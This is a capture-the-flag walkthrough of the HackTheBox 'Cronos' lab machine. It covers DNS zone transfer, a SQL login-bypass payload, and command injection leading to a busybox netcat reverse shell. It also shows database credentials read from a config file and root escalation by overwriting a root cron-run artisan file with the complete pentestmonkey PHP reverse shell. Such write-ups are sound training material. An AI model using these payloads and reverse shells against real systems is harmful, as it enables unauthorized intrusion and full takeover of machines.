Cronos | HackTheBox | Walkthrough
Box: Cronos
Difficulty: Medium
I started off with a quick nmap scan of the target which reveals :
- Port 53 (
domain): ISC BIND version 9.10.3-P4 on Ubuntu Linux; widely used DNS server software. - Port 80 (
http): running an Apache HTTP Server (version 2.4.18), indicating that the machine is also hosting a web server.
┌──(root㉿user)-[/run/…/2024/HTBox/cronos/scans]
└─# cat services.txt
# Nmap 7.95 scan initiated Fri Oct 30 23:37:11 2026 as: /usr/lib/nmap/nmap -Pn -sVC -v -oN scans/services.txt 10.129.92.250
Nmap scan report for 10.129.92.250
Host is up (0.032s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 30 23:37:27 2026 -- 1 IP address (1 host up) scanned in 15.48 secondsI couldn’t actually spot the hostname but having done a number of HackTheBox CTFs over the years I followed my intuition and added cronos.htb to my /etc/hosts file and then went ahead and did a DNS zone transfer to see if we could potentially find a subdomain.
┌──(root㉿user)-[/home/user]
└─# dig axfr cronos.htb @10.129.92.250
; <<>> DiG 9.20.15-2-Debian <<>> axfr cronos.htb @10.129.92.250
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 27 msec
;; SERVER: 10.129.92.250#53(10.129.92.250) (TCP)
;; WHEN: Fri Oct 30 23:43:17 GMT 2026
;; XFR size: 7 records (messages 1, bytes 203)You can now see that we have this subdomain admin.cronos.htbso Iwent ahead and added it to the hosts file.
┌──(root㉿user)-[/run/…/2024/HTBox/cronos/scans]
└─# head -n 1 /etc/hosts
10.129.92.250 cronos.htb admin.cronos.htbRather than performing complex testing here I tried to most basic SQL authentication bypass payload admin’ OR 1=1 — -
If you use this as the username you will be authenticated and find yourself on the other end of the portal with this interface that shows you can run traceroute or ping on a particular host.
Having been through the CPTS training materials by HackTheBox they have a specific module on command injection. Essentially, any time we are obviously executing a system command (like ping or traceroute) we can look to find a way bypass the filter and execute a system command on the underlying target.
Get SilentExploit’s stories in your inbox
Join Medium for free to get updates from this writer.
A very basic payload (pictured below) works to execute the id command indicating that we are www-data on the target.
A busybox reverse shell works for me to get a connection on my kali machine via port 21
8.8.8.8;busybox nc 10.10.15.32 21 -e sh
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 21
listening on [any] 21 ...
connect to [10.10.15.32] from (UNKNOWN) [10.129.92.250] 51856
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Privilege Escalation
I ended up going down a little rabbithole trying to see if I could potentially reuse the password from the /var/www/admin/config.php and then attempting to crack the md5 password retrieved from the database for the user ‘admin’.
www-data@cronos:/var/www/admin$ cat config.php
cat config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
www-data@cronos:/var/www/admin$ mysql -u admin -p'kEjdbRigfBHUREiNSDs' -e "show databases;"
mysql -u admin -p'kEjdbRigfBHUREiNSDs' -e "show databases;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin |
+--------------------+
www-data@cronos:/var/www/admin$ mysql -u admin -p'kEjdbRigfBHUREiNSDs' -e "show tables from admin;"
mysql -u admin -p'kEjdbRigfBHUREiNSDs' -e "show tables from admin;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----------------+
| Tables_in_admin |
+-----------------+
| users |
+-----------------+
www-data@cronos:/var/www/admin$ mmysql -u admin -p'kEjdbRigfBHUREiNSDs' -D admin -e "select * from users;"
mysql -u admin -p'kEjdbRigfBHUREiNSDs' -D admin -e "select * from users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 4f5fffa7b2340178a716e3832451e058 |
+----+----------+----------------------------------+This ended up being a dead end.
Whilst manually enumerating the crontabs running on the target; I saw The line - * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1. This attempts to run Laravel's task scheduler every minute as the root user, suppressing all standard output and error messages.
www-data@cronos:/tmp$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#If you check the permissions on /var/www/laravel/artisan we can see that it is owned by our current user (www-data).
www-data@cronos:/tmp$ls -la /var/www/laravel/artisan
-rwxr-xr-x 1 www-data www-data 2583 Oct 31 02:04 /var/www/laravel/artisanThis means we can simply replace the file being executed with a php reverse shell and it should execute as root.
I then created a file called shell.
www-data@cronos:/tmp$ cat shell
cat shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.15.32';
$port = 21;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>I replaced /var/www/laravel/artisan with my malicious shell.
www-data@cronos:/tmp$ cp shell /var/www/laravel/artisan
cp shell /var/www/laravel/artisanWait a few seconds and the task schedule should execute to send a reverse shell.
┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 21
listening on [any] 21 ...
connect to [10.10.15.32] from (UNKNOWN) [10.129.92.250] 52306
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
02:07:01 up 30 min, 0 users, load average: 0.38, 0.76, 0.76
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)








![ShadowGate Active Directory Lab Walkthrough [HackSmarter]](https://webproxy.poorya-velaei-d67.workers.dev/https://miro.medium.com/v2/resize:fit:1358/format:webp/1*GNKyoNIPTLFt5Fk4wNos5A.png)
